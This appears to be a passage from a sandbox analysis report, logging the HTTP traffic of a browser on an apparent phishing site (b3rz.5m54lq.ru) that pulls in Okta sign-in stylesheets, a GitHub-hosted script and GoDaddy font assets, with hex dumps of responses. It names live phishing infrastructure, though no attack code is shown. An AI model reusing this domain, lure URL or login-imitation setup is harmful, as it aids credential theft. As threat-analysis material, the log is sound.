2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 80 24 7f cf 8a 6d 99 61 54 83 01 17 73 11 23 ad 9f 2d 6e 44 8c 5a b4 d9 fc b4 0f 32 6f b8 b9 58 4b db 17 cf de 88 04 50 8d 6a aa 69 6b 99 bf 7a 22 a9 7e e9 d7 7e 47 f5 43 cc 56 6b 4a e2 e3 ff 08 ea c9 4e 48 54 7a c1 3b 9e b6 1d fb ae e9 23 5c ae a8 04 a3 41 ab a9 78 05 60 9d c6 ec 29 ee 81 25 85 bd 14 23 5c 9b 10 ee 72 87 df 99 a0 23 fc a5 a7 e5 b6 22 11 ee 51 91 f8 fe 1c 43 fd 92 aa 5e 17 dc 5f 81 87 4e 04 37 39 95 95 98 6f d5 88 3e af 11 57 76 11 d2 b4 52 c1 36 48 f5 0d b3 3c 2b fa bf 92 ae c2 e5 38 c6 ad c1 16 b4 0c 81 8c 26 84 e2 b4 3a d3 95 10 f1 8d fe 0c 6e 8c 93 55 05 98 bb 7f c9 f7 06 83 bb 61 7a 62 23 79 f5 3b 28 a6 5c d2 1d 3d ea ab 52 7f b3 e4 c5 8a e7 64 eb e7 db 56 a9 4a 4d 4e 76 e0 c0 e5 8f 67 a6 d1 80 5c 74 14 31 90 d2 76 77 53 81 cc 76 21 Data Ascii: $maTs#-nDZ2oXKPjikz"~~GCVkJNHTz;#\Ax`)%#\r#"QC^_N79o>WvR6H<+8&:nUazb#y;(\=RdVJMNvg\t1vwSv!
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 28 92 cc e5 9a 8d 4b d8 dd 8e 2c 76 0b b3 d1 e5 95 49 43 9e bc 14 c2 bd d9 a4 aa c9 1f 0e 9a f0 74 72 ef b7 9d 9a 2a 07 e1 ad 59 04 de ff a9 b2 cd 30 c6 8c 92 c9 33 fd c4 f4 19 2c a2 fa 6c fe 36 7a aa 17 54 9f 84 7d cb 68 3b 32 28 1e 57 ec 62 0b 14 79 53 93 4e 12 dd 03 38 5e 04 1b d2 28 04 22 35 be 48 41 e6 3c a5 52 4c 45 73 5b 20 c5 31 0f c7 ac 29 1a d0 48 49 20 5d b8 31 e5 3a 8b d5 8a 80 a2 a8 d0 b5 dd c8 55 8c 25 8c 57 66 6b b9 e0 50 4b f7 42 67 ae 83 4a e4 a9 ad ee 19 a7 c8 73 9e a2 1b 56 e7 f4 08 2e 75 66 ee 39 cf dd f7 d2 67 ea 7d 21 17 ba 9f 41 e9 09 34 35 d7 f0 f8 4d be 51 89 0c af af d6 08 f5 ba 52 1f 83 11 8c 44 af 70 d0 f8 f9 de 3a 8b 49 d2 46 fd 16 da 55 b0 0c 6a dd 10 5f 4a 41 41 89 e4 f8 97 16 36 ed c3 ef 99 de f6 51 01 96 66 e6 a7 06 d4 cd Data Ascii: (K,vICtr*Y03,l6zT}h;2(WbySN8^("5HA<RLEs[ 1)HI ]1:U%WfkPKBgJsV.uf9g}!A45MQRDp:IFUj_JAA6Qf
2025-03-20 15:55:35 UTC	866	IN	Data Raw: e1 6f bf c5 91 a1 57 a7 86 24 a7 4d 25 9c ff d0 34 71 b1 2d 4c 65 3b c9 28 75 74 92 50 36 04 9f ad 0e 2a 76 23 8c 52 6c f7 f7 cc be 11 93 56 3b 6d e9 5e fb 0c 46 76 95 2c c2 eb c5 ec ee ad b9 53 60 df 8e a3 dd ad 2d 7d 55 e2 8e df 4c 2e c5 bf cd ae 90 13 eb 15 82 5e 04 bb fb 9a 39 d9 dc 8d 8c 62 59 b3 05 4a 73 19 cb f2 5b b9 8b f2 b7 7d a7 b3 30 2d 7a c9 2e 14 34 f0 c2 ab 7b fd 85 fd f7 5e cd fb 1c 76 35 9f a5 d6 b4 25 7d 63 2a 99 17 5e 9a be 73 fc f8 f8 f7 97 f9 f3 12 4b f2 f5 da ce 73 b4 50 47 b8 fd 90 cf 3b 9b 4f af 6d 29 f8 a1 dd ec e3 f8 2d b4 7b eb ed c1 6d 78 95 75 5b 9c ea 91 b0 db eb 8e 7d f1 8b 59 ea f9 54 17 08 c1 67 ee 5f b8 d2 ca 6a 66 9d be 77 e6 f1 85 2f 7b 38 5d 9c d3 01 c9 fe 41 16 f9 95 d9 cb c2 5f 66 63 06 ec f2 63 57 23 b5 e5 e4 01 70 Data Ascii: oW$M%4q-Le;(utP6v#RlV;m^Fv,S`-}UL.^9bYJs[}0-z.4{^v5%}c^sKsPG;Om)-{mxu[}YTg_jfw/{8]A_fccW#p

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:35 UTC	638	OUT	GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://b3rz.5m54lq.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:55:35 UTC	769	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 222931 Connection: close Date: Thu, 13 Mar 2025 22:49:11 GMT Server: nginx Last-Modified: Tue, 14 May 2024 21:48:24 GMT ETag: "0329c939fca7c78756b94fbcd95e322b" x-amz-meta-sha1sum: 7b5499b46660a0348cc2b22cae927dcc3fda8b20 Expires: Fri, 13 Mar 2026 22:49:11 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 100ce1d37f67e6c59753cd4c9c473afc.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: 9djKmfSxLJOdjZguM9St6ZZpXT2uppz3loHk9l4V0IM-AqAuiOq-cw== Age: 579984
2025-03-20 15:55:35 UTC	15615	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 71 74 69 70 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 2e 35 70 78 3b 6c 65 66 74 3a 2d 32 38 30 30 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 32 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 32 38 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 35 30 70 78 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 2d 32 38 30 30 30 70 78 7d 2e 71 74 69 70 2d 63 6f 6e 74 65 6e 74 7b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 70 61 64 64 69 6e 67 3a 35 70 78 20 39 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 71 Data Ascii: @charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.q
2025-03-20 15:55:35 UTC	16384	IN	Data Raw: 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 34 38 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 34 38 22 5d 3a 62 65 66 6f 72 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 34 38 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 34 38 22 5d 3a 62 65 66 6f 72 65 7b 73 70 65 61 6b 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c Data Ascii: x;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:top}#okta-sign-in [class="-48"]:after,#okta-sign-in [class="-48"]:before,#okta-sign-in [class^="-48"]:after,#okta-sign-in [class^="-48"]:before{speak:none;-webkit-font-smoothing:antial
2025-03-20 15:55:35 UTC	16384	IN	Data Raw: 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 31 37 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 61 64 76 61 6e 63 65 64 2d 73 73 6f 2d 31 36 2d 62 6c 75 65 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 35 65 35 65 35 65 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 31 38 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 6f 6f 6b 6d 61 72 6b 2d 31 36 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 38 63 38 63 39 36 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 32 61 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 6f 6f 6b 6d 61 72 6b 2d 31 36 2d 67 72 65 65 6e 2e 61 63 74 69 76 65 3a 62 65 66 6f 72 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 6f 6f 6b 6d 61 72 6b 2d 31 36 2d 67 72 65 65 6e 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 34 63 62 66 39 Data Ascii: cc0;content:"\e017"}#okta-sign-in .advanced-sso-16-blue:after{color:#5e5e5e;content:"\e018"}#okta-sign-in .bookmark-16:before{color:#8c8c96;content:"\e02a"}#okta-sign-in .bookmark-16-green.active:before,#okta-sign-in .bookmark-16-green:before{color:#4cbf9
2025-03-20 15:55:35 UTC	16384	IN	Data Raw: 66 66 66 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 62 62 62 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 32 70 78 20 30 20 68 73 6c 61 28 30 2c 30 25 2c 36 33 25 2c 2e 32 29 3b 6c 65 66 74 3a 30 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 32 70 78 3b 77 69 64 74 68 3a 34 31 37 70 78 3b 7a 2d 69 6e 64 65 78 3a 34 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 72 6f 70 64 6f 77 6e 20 2e 6f 70 74 69 6f 6e 73 20 6c 69 2e 6f 70 74 69 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 65 61 65 61 65 61 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 61 64 64 69 6e Data Ascii: fff;border:1px solid #bbb;box-shadow:0 2px 0 hsla(0,0%,63%,.2);left:0;list-style:none;padding:0;position:absolute;top:2px;width:417px;z-index:4}#okta-sign-in .dropdown .options li.option{background:#fff;border-bottom:1px solid #eaeaea;display:block;paddin
2025-03-20 15:55:35 UTC	16384	IN	Data Raw: 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 20 2e 63 68 7a 6e 2d 73 65 61 72 63 68 20 69 6e 70 75 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 20 2e 63 68 7a 6e 2d 73 69 6e 67 6c 65 20 61 62 62 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 20 2e 63 68 7a 6e 2d 73 69 6e 67 6c 65 20 64 69 76 20 62 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 72 74 6c 20 2e 63 68 7a 6e 2d 73 65 61 72 63 68 20 69 6e 70 75 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 2e 2e 2f 69 6d 67 2f 75 69 2f 66 6f 72 6d 73 2f 63 68 6f 73 65 6e 2d 73 70 72 69 74 65 40 32 78 2e 70 6e 67 29 21 Data Ascii: .chzn-container-single .chzn-search input,#okta-sign-in .chzn-container-single .chzn-single abbr,#okta-sign-in .chzn-container-single .chzn-single div b,#okta-sign-in .chzn-rtl .chzn-search input{background-image:url(../img/ui/forms/chosen-sprite@2x.png)!
2025-03-20 15:55:35 UTC	16384	IN	Data Raw: 3b 70 61 64 64 69 6e 67 3a 37 70 78 20 31 30 70 78 20 37 70 78 20 30 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 72 65 61 64 2d 6d 6f 64 65 20 2e 63 75 73 74 6f 6d 2d 63 68 65 63 6b 62 6f 78 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 72 65 61 64 2d 6d 6f 64 65 20 2e 63 75 73 74 6f 6d 2d 72 61 64 69 6f 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 72 65 61 64 2d 6d 6f 64 65 2e 63 75 73 74 6f 6d 2d 63 68 65 63 6b 62 6f 78 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 72 65 61 64 2d 6d 6f 64 65 2e 63 75 73 74 6f 6d 2d 72 61 64 69 6f 3a 66 69 72 73 74 2d 63 Data Ascii: ;padding:7px 10px 7px 0}#okta-sign-in .o-form-read-mode .custom-checkbox:first-child,#okta-sign-in .o-form-read-mode .custom-radio:first-child,#okta-sign-in .o-form-read-mode.custom-checkbox:first-child,#okta-sign-in .o-form-read-mode.custom-radio:first-c
2025-03-20 15:55:35 UTC	16384	IN	Data Raw: 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 69 6e 70 75 74 2d 66 69 78 20 69 6e 70 75 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 74 65 78 74 61 72 65 61 2d 66 69 78 20 69 6e 70 75 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 32 70 78 3b 70 61 64 64 69 6e 67 3a 38 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 64 65 76 69 63 65 2d 77 69 64 74 68 3a 33 32 30 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 64 65 76 69 63 65 2d 77 69 64 74 68 3a 34 38 30 70 78 29 20 61 6e 64 20 28 2d 77 65 62 6b 69 Data Ascii: kta-sign-in .o-form .input-fix input,#okta-sign-in .o-form .textarea-fix input{background:none;border:none;box-shadow:none;font-size:14px;line-height:22px;padding:8px}@media only screen and (min-device-width:320px) and (max-device-width:480px) and (-webki
2025-03-20 15:55:36 UTC	15863	IN	Data Raw: 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 35 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 70 69 76 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 6c 61 73 74 2d 6f 66 2d 74 79 70 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 35 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 70 69 76 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 70 69 76 Data Ascii: n{border-radius:3px;box-sizing:border-box;display:block;font-size:14px;line-height:50px;margin-top:15px;text-align:center}#okta-sign-in .piv-button.link-button:last-of-type{margin-bottom:25px}#okta-sign-in .piv-button.link-button:active,#okta-sign-in .piv
2025-03-20 15:55:36 UTC	16384	IN	Data Raw: 6e 20 70 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 63 6f 6e 73 65 6e 74 2d 64 65 73 63 72 69 70 74 69 6f 6e 20 70 7b 63 6f 6c 6f 72 3a 23 36 65 36 65 37 38 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 20 61 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 Data Ascii: n p,#okta-sign-in .granular-consent .consent-description p{color:#6e6e78}#okta-sign-in .consent-required .consent-footer,#okta-sign-in .granular-consent .consent-footer{text-align:center}#okta-sign-in .consent-required .consent-footer a,#okta-sign-in .gra
2025-03-20 15:55:36 UTC	16384	IN	Data Raw: 6e 67 2d 73 70 69 6e 6e 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 65 6e 72 6f 6c 6c 2d 75 32 66 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 66 69 65 6c 64 73 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 70 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 65 6e 72 6f 6c 6c 2d 77 65 62 61 75 74 68 6e 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 66 69 65 6c 64 73 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 70 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 76 65 72 69 66 79 2d 75 32 66 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 66 69 65 6c 64 73 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 70 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 76 65 72 69 66 79 2d 77 65 62 61 75 74 68 6e 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 66 69 Data Ascii: ng-spinner{display:none}#okta-sign-in .enroll-u2f-form .o-form-fieldset-container p,#okta-sign-in .enroll-webauthn-form .o-form-fieldset-container p,#okta-sign-in .verify-u2f-form .o-form-fieldset-container p,#okta-sign-in .verify-webauthn-form .o-form-fi

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:35 UTC	692	OUT	GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1 Host: github.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://b3rz.5m54lq.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:55:35 UTC	978	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Thu, 20 Mar 2025 15:53:45 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250320%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250320T155345Z&X-Amz-Expires=300&X-Amz-Signature=81b7617a652342c9b1212b2fa05895ce004724155286a09cf1dede48f23276d8&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2025-03-20 15:55:35 UTC	3368	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.githu

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:35 UTC	647	OUT	GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://b3rz.5m54lq.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:55:35 UTC	768	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 10498 Connection: close Date: Mon, 17 Mar 2025 17:37:07 GMT Server: nginx Last-Modified: Thu, 14 Mar 2024 00:03:58 GMT ETag: "e0d37a504604ef874bad26435d62011f" x-amz-meta-sha1sum: 4301f0d2b729ae22adece657d79eccaa25f429b1 Expires: Tue, 17 Mar 2026 17:37:07 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 812385435e4a24499dabb443924e6b50.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: AoaZ16GSHY-hMjHGFSeAKgDIuRu0LyoMetHF8amdQ0MYoD6KCQ4Yqw== Age: 253108
2025-03-20 15:55:35 UTC	10498	IN	Data Raw: 61 2c 61 62 62 72 2c 61 63 72 6f 6e 79 6d 2c 61 64 64 72 65 73 73 2c 61 70 70 6c 65 74 2c 62 2c 62 69 67 2c 62 6c 6f 63 6b 71 75 6f 74 65 2c 62 6f 64 79 2c 63 61 70 74 69 6f 6e 2c 63 65 6e 74 65 72 2c 63 69 74 65 2c 63 6f 64 65 2c 64 64 2c 64 65 6c 2c 64 66 6e 2c 64 69 76 2c 64 6c 2c 64 74 2c 65 6d 2c 66 69 65 6c 64 73 65 74 2c 66 6f 72 6d 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 74 6d 6c 2c 69 2c 69 66 72 61 6d 65 2c 69 6d 67 2c 69 6e 73 2c 6b 62 64 2c 6c 61 62 65 6c 2c 6c 65 67 65 6e 64 2c 6c 69 2c 6f 62 6a 65 63 74 2c 6f 6c 2c 70 2c 70 72 65 2c 71 2c 73 2c 73 61 6d 70 2c 73 6d 61 6c 6c 2c 73 70 61 6e 2c 73 74 72 69 6b 65 2c 73 74 72 6f 6e 67 2c 73 75 62 2c 73 75 70 2c 74 61 62 6c 65 2c 74 62 6f 64 79 2c 74 64 2c 74 66 6f 6f 74 2c 74 Data Ascii: a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,t

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:35 UTC	1375	OUT	GET /GDSherpa-regular.woff HTTP/1.1 Host: b3rz.5m54lq.ru Connection: keep-alive Origin: https://b3rz.5m54lq.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: 